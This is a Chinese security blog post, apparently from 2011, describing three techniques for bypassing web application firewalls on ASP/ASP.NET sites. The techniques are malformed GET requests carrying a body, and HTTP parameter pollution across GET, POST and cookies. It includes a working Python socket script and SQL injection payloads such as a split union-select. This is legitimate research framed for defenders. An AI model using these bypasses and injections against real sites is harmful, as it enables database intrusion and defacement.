浅谈绕过 WAF 的数种方法

  • A+
所属分类:lcx

EMail: rayh4c#80sec.com

Site: http://www.80sec.com

Date: 2011-09-06

From: http://www.80sec.com/?p=244

0×00 前言

08年初诞生了一种SQL群注攻击,黑客在全球范围内对asp,asp.net加MSSQL架构的网站进行了疯狂扫荡。由于MSSQL支持多语句注入,黑客通过一条结合游标的SQL语句就能将整个数据库的字段内容自动进行篡改,可以在网站上无差别的进行网页木马攻击。

互联网是快速更新迭代的,但是很多没有开发能力的单位都是通过外包建立网站,网站的程序一上线就再也无人维护,很多程序存在各种漏洞无法修补,于是WAF便有了市场,现今门槛低且最能解决问题的是针对IIS/apache的软件WAF,通常一个模块一个扩展就能搞定,当然也有耗资百万千万的硬件WAF,然而如果WAF拦截规则出现漏洞,这百万千万的硬件也就是一堆废铁。那么WAF是否真的可以解决所有的WEB安全问题呢?所以本文主要解析一些可以绕过WAF的罕见漏洞,供安全人员参考。

0×01 Request对象的包解析漏洞.

asp和asp.net的Request对象存在一个包解析漏洞,Request对象对于GET和POST包的解析过于宽松,用一句话表达就是Request对象它GET和POST傻傻分不清楚,稍有点web开发经验的同学应该知道Request接收GET,POST,COOKIE也就是GPC传过来的数据,但是asp和.net库内置的Request对象完全不按RFC标准来,下面我们可以做个测试:

分别将下面两段代码保存为1.asp和1.aspx

使用asp的Request对象接收t参数传值

———————————————–


———————————————–

使用asp.net的Request对象接收t参数传值

———————————————–


———————————————–

使用下面的python脚本调用socket发送原始的HTTP包

———————————————–

#!/usr/bin/env python
import socket
host = '192.168.239.129'
path = '/1.asp'
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
exploit_packet="t='/**/or/**/1=1–"
exploit_packet+="rn" * 8
packet_length = len(exploit_packet)
packet='GET ' + path + ' HTTP/1.1rn'
packet+='Host: ' + host + 'rn'
packet+='Content-Length: %srn' % packet_length
packet+='Content-Type: application/x-www-form-urlencodedrn'
packet+='rn'
packet = packet + exploit_packet
print packet
s.send(packet)
buf = s.recv(1000)
if buf: print buf[buf.rfind("rn"):]
s.close()

———————————————–

我们发送的原始包是:

GET /1.asp HTTP/1.1
Host: 192.168.239.129
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
t='/**/or/**/1=1–

结果返回如下:

Request:'/**/or/**/1=1–

将python测试脚本的path改为/1.aspx测试页返回同样结果。

我们可以看到这是一个畸形的HTTP GET请求包,这个包的奥秘在于Content-Type和Content-Length头,包的结构类似于一个POST包,而请求的方法是GET,最后asp和asp.net的Request对象成功的解析了这个畸形包取出了数据。

所以如果WAF没有处理好HTTP包的内容,沿用常规思路处理GET和POST的逻辑的话,那么这个畸形包将会毁掉WAF的基础防御。

0×02 被遗忘的复参攻击.

大家应该还记得09年的HTTP Parameter Pollution攻击,查看[3]文档,可以发现ASP/IIS和ASP.NET/IIS的场景下存在一个复参特性,本文将利用这种的特性的攻击简称为复参攻击,用0X01里的例子简单的测试一下:

用GET请求传入两个t参数

GET http://192.168.239.129/1.asp?t=1&t=2

将返回

Request:1, 2

asp和asp.net的Request对象接收了两个参数,并且以逗号分隔,所以便衍生出了[3]文档中的复参SQL注入方法:

Vulnerable code:
SQL="select key from table where id="+Request.QueryString("id")
This request is successfully performed using the HPP technique:
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
The SQL request becomes:
select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,

我们可以看到通过巧妙的运用注释符结合复参特性可以分割GET参数中的SQL注入语句,如果WAF对GET参数的处理过于简单是不是会匹配不到拦截规则呢?

0×03 高级复参攻击.

ASP.NET的Request对象有一个Params属性,ASP.NET程序员在一些程序中会使用Request.Params["xxx"]传入数据,参考[4]微软MSDN文档我们可以知道Params属性的特性,该属性接收GET,POST和Cookie的传值集合,这里我们可以修改0×01里的例子测试一下:

使用asp.net的Request.Params方法接收t参数传值

———————————————–


———————————————–

发送一个POST包,GET,POST,COOKIE三个方法中都带有不同的t参数内容

———————————————–

POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1
Host: 192.168.239.129
Cookie: t=2
t=3

———————————————–

结果返回

Request:1,3,2

最后得出结论,Request.Params方法接收的数据是按照GPC顺序整合,看到这里的同学再联想到0×02的复参攻击应该如醍醐灌顶了,我们可以将SQL攻击语句拆分到GET,POST,COOKIE三个变量里进行组合攻击。想一想WAF针对这种高级复参攻击是否防御好了?

0×04 后话

WAF是不可能解决所有安全问题的,本文的思路归其本源实际上是描叙了WAF处理HTTP包与服务端处理HTTP包数种差异。互联网是不断更新迭代的,差异存在,类似的漏洞也会存在。

本文提到了三种绕过WAF的思路,第一种是我的原创属于0DAY状态,第二种是参考已有的复参攻击,其中第三种高级复参攻击是由Safe3同学提出的,本文也是与Safe3同学讨论他开发的WAF的BUG而来,所以感谢Safe3同学。

另外请大家不要将本文的内容用于非法途径,仅供安全人员参考,谢谢。

参考:

[1].http://www.faqs.org/rfcs/rfc2616.html

[2].http://www.w3school.com.cn/asp/asp_ref_request.asp

[3].http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf

[4].http://msdn.microsoft.com/en-us/library/system.web.httprequest.aspx

文章来源于lcx.cc:浅谈绕过 WAF 的数种方法

相关推荐: 2012末日鸡王狂鸡器!鼠标轻点!万鸡上线!刷钻刷到你手软!

吐槽下关于所谓的“黑客刷钻” 寸芒 (摩尔庄园---机油乐园) | 2012-12-08 16:53 刷钻是黑客???黑客刷qb??现在这些广告太多了,莫非黑客就是刷钻的?? 我们学校也是,你是不是黑客的标准就是你会不会抓鸡,会不会刷钻 我在某些群里竟然看见有…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: